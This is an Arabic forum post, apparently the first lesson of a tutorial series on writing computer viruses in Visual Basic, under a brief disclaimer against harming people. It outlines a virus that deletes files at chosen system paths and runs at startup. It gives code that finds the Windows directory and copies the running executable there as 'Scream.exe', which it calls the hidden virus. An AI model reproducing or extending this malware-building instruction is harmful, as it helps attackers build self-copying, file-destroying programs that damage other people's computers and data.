تحميل دورة الديف بوينت فى صناعة الفيروسات

بداية أرحب بكل اخوانى أعضاء المنتدى
نبدأ مع بعض رحله شيقه فى صناعة الفيروسات ولكن اتقى الله عز وجل
نحن نقدم لكم هذه الدروس لبناء مجتمع ثقافى متميز لا لنؤذى الناس بما اعطانا الله من علم

ولنبدأ معنا درسنا ولكن حتى لا اطيل عليكم سنتناول هذه الشروحات كسلسله
والله عز وجل الموفق والمستعان

أول حاجه أقدر أبتديها فى الدوره هيكون درسنا خفيف

أساسيات برمجة الفيروسات اللى هنبتدى من عندها

عشان تقوم بعمل فيروس لازم تبقى فاهم إن الفيروسات ليها برامج كتيره جدا ممكن تعملها

وأبسطهم هو الـ NotePad وأظن الكل يعرفه....

وكمان لازم تعرف بعض المسارات اللى ممكن تدمرها وكل نظام يختلف عن نظام ولا إيه؟...

وفيه بعض الأكواد البرمجيه اللى هنستخدمها فى صناعه أول فيروس وهم كلأتى:

1 - كود معرفه مسار الويندوز
وده كود سهل جدا ومفهوش أى صعوبه.

2 - كود الـ Kill
وهو لقتل بعض الملفات اللى إنت تتحددها عن طريق المسارات

3 - كود نسخ المفات
وهو بيكون FileCopy وهو لنسخ الملفات لمكان أمن عشان ما يحتذفش وكل تعبك يروح

4 - تشغيل الملف مع بدايه النظام
كود طويل ولكن سهل جدا ومفهوش أى صعوبه.

نبدأ بإسم الله برمجه بأول كود وهو :

كود معرفه مسار الويندوز

أول حاجه إفتح مشروع جديد

وضيف Label1 عشان نعرض فيه مسار الويندوز




الأكواد:

1 - كود التصريحات العامه (General)


كود:
Private
Declare Function GetWindowsDirectory Lib "kernel32" Alias
"GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long)
As Long2 - كود الـ Form_Load

كود:
On Error Resume Next 'عند الخطا إذهب لغيره
Dim W
Dim WindowsD As String
WindowsD = Space(144)
W = GetWindowsDirectory(WindowsD, 144)
Label1.Caption = WindowsD



مسار الويندوز كامل

طيب
عاوزين بقه ننسخ الفيروس لمسار الويندوز هنعمل أيه؟وعاوزين نتأكد إن
الفيروس اللى هيتنسخ هيبقى بلإسم اللى إحنا عاوزينه هنعمل أيه؟

ولا حاجه

كود نسخ الفيروس لمكان معين هو FileCopy زى ما الكل عارف

طيب هيبقى كودنا كلأتى:


كود:
FileCopy (App.Path & "" & App.EXEName & ".exe"), (Label1.Caption & "\Scream.exe")ها؟

معنى الكود أيه؟

طيب أنا هشرح

أول حاجه إستخدمنا أمر FileCopy لنسخ الملف
وبعد كده فى كلمه إسمها App.path طيب ودى معناها أيه؟
دى معناها مسار الملف اللى هيتنسخ

طيب وفيه برضه كود بإسم App.EXEName وده برضه معناه أيه؟
وده معنا إسم البرنامج الغير أمن اللى هننسخه

طيب وبعد كده كتبنا كلمه .exe وهى إمتداد البرنامج زى ما الكل عارف

وبعد كده كتبنا كلمه Label1.Caption اللى إحنا عارضين فيها مسار الويندوز
وبعد كده كلمه Scream.exe وده بقه الملف الأمن اللى إتنسخ لمسار الويندوز يعنى الفيروس المستخبى



فى الدرس القادم بإذن الله تعالى سنتناول كيفية التأكد ان الاوامر ستعمل على الملف الامن
كما نتناول بعض الاكواد التى نتحتاجها فى هذا الموضوع

أرجو ان تكونوا استفدتم من هذا العمل البسيط
فأسألكم اخوانى بصالح الدعاء

والى اللقاء فى الدرس القادم